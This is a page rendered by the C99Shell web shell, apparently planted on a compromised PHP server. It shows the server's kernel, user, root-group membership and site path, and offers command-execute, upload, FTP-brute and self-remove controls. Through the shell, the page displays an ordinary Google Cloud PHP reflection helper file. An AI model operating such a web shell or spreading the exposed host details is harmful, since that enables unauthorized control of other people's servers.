!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/qr.picotech.app/public_html/vendor/google/cloud-core/src/Testing/Reflection/   drwxr-xr-x
Free 25.67 GB of 117.98 GB (21.76%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ReflectionHandlerV5.php (5.79 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Copyright 2022 Google LLC
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

namespace Google\Cloud\Core\Testing\Reflection;

use 
Google\Cloud\Core\Testing\Reflection\DescriptionFactory as CoreDescriptionFactory;
use 
phpDocumentor\Reflection\DocBlock;
use 
phpDocumentor\Reflection\DocBlock\DescriptionFactory;
use 
phpDocumentor\Reflection\DocBlock\StandardTagFactory;
use 
phpDocumentor\Reflection\DocBlockFactory;
use 
phpDocumentor\Reflection\File\LocalFile;
use 
phpDocumentor\Reflection\FqsenResolver;
use 
phpDocumentor\Reflection\NodeVisitor\ElementNameResolver;
use 
phpDocumentor\Reflection\Php\Factory;
use 
phpDocumentor\Reflection\Php\Factory\Noop;
use 
phpDocumentor\Reflection\Php\Factory\TraitUse;
use 
phpDocumentor\Reflection\Php\NodesFactory;
use 
phpDocumentor\Reflection\Php\ProjectFactory;
use 
phpDocumentor\Reflection\Php\ProjectFactoryStrategies;
use 
phpDocumentor\Reflection\TypeResolver;
use 
PhpParser\Lexer;
use 
PhpParser\NodeTraverser;
use 
PhpParser\NodeVisitor\NameResolver;
use 
PhpParser\ParserFactory;
use 
PhpParser\PrettyPrinter\Standard as PrettyPrinter;

/**
 * Class for running snippets using phpdocumentor/reflection:v5.
 *
 * @internal
 */
class ReflectionHandlerV5
{
    private 
$descriptionFactory;
    private 
$docBlockFactory;

    public function 
__construct()
    {
        
$this->descriptionFactory $this->createDescriptionFactory();
        
$this->docBlockFactory $this->createDocBlockFactory($this->descriptionFactory);
    }

    
/**
     * @param string $class
     * @return DocBlock
     */
    
public function createDocBlock($classOrMethod)
    {
        return 
$this->docBlockFactory->create($classOrMethod);
    }

    
/**
     * @param DocBlock $docBlock
     * @return string
     */
    
public function getDocBlockText(DocBlock $docBlock)
    {
        
$description $this->descriptionFactory->create(
            
$docBlock->getSummary() . "\n\n" $docBlock->getDescription(),
            
$docBlock->getContext()
        );
        return 
$description->render();
    }

    
/**
     * @param array $files
     * @return string[]
     */
    
public function classes(array $files)
    {
        
$projectFactory $this->createProjectFactory();
        
$localFiles = [];
        foreach (
$files as $file) {
            
$localFiles[] = new LocalFile($file);
        }
        
$project $projectFactory->create('My Project'$localFiles);
        
$classes = [];
        foreach (
$files as $file) {
            
$classesInFile $project->getFiles()[$file]->getClasses();
            foreach (
$classesInFile as $class) {
                
$classes[] = (string) $class->getFqsen();
            }
        }
        return 
$classes;
    }

    
/**
     * @return ProjectFactory
     */
    
public function createProjectFactory()
    {
        
$parser = (new ParserFactory())->create(
            
ParserFactory::ONLY_PHP7,
            new 
Lexer\Emulative(['phpVersion' => Lexer\Emulative::PHP_8_0])
        );
        
$nodeTraverser = new NodeTraverser();
        
$nodeTraverser->addVisitor(new NameResolver());
        
$nodeTraverser->addVisitor(new ElementNameResolver());
        
$nodesFactory = new NodesFactory($parser$nodeTraverser);

        
$docblockFactory $this->createDocBlockFactory($this->createDescriptionFactory());

        
$methodStrategy =  new Factory\Method($docblockFactory);

        
$strategies = new ProjectFactoryStrategies(
            [
                new 
Factory\Namespace_(),
                new 
Factory\Argument(new PrettyPrinter()),
                new 
Factory\Class_($docblockFactory),
                new 
Factory\Enum_($docblockFactory),
                new 
Factory\EnumCase($docblockFactory, new PrettyPrinter()),
                new 
Factory\Define($docblockFactory, new PrettyPrinter()),
                new 
Factory\GlobalConstant($docblockFactory, new PrettyPrinter()),
                new 
Factory\ClassConstant($docblockFactory, new PrettyPrinter()),
                new 
Factory\File($docblockFactory$nodesFactory),
                new 
Factory\Function_($docblockFactory),
                new 
Factory\Interface_($docblockFactory),
                
$methodStrategy,
                new 
Factory\Property($docblockFactory, new PrettyPrinter()),
                new 
Factory\Trait_($docblockFactory),
                new 
Factory\IfStatement(),
                new 
TraitUse(),
            ]
        );

        
$strategies->addStrategy(
            new 
Factory\ConstructorPromotion($methodStrategy$docblockFactory, new PrettyPrinter()),
            
1100
        
);
        
$strategies->addStrategy(new Noop(), -PHP_INT_MAX);

        return new 
ProjectFactory($strategies);
    }

    
/**
     * @return DescriptionFactory
     */
    
public function createDescriptionFactory()
    {
        
$fqsenResolver      = new FqsenResolver();
        
$tagFactory         = new StandardTagFactory($fqsenResolver);
        
$descriptionFactory = new CoreDescriptionFactory($tagFactory);

        
$tagFactory->addService($descriptionFactoryDescriptionFactory::class);
        
$tagFactory->addService(new TypeResolver($fqsenResolver));

        return 
$descriptionFactory;
    }

    
/**
     * @return DocBlockFactory
     */
    
private function createDocBlockFactory($descriptionFactory)
    {
        
$tagFactory $descriptionFactory->getTagFactory();
        return new 
DocBlockFactory($descriptionFactory$tagFactory);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0035 ]--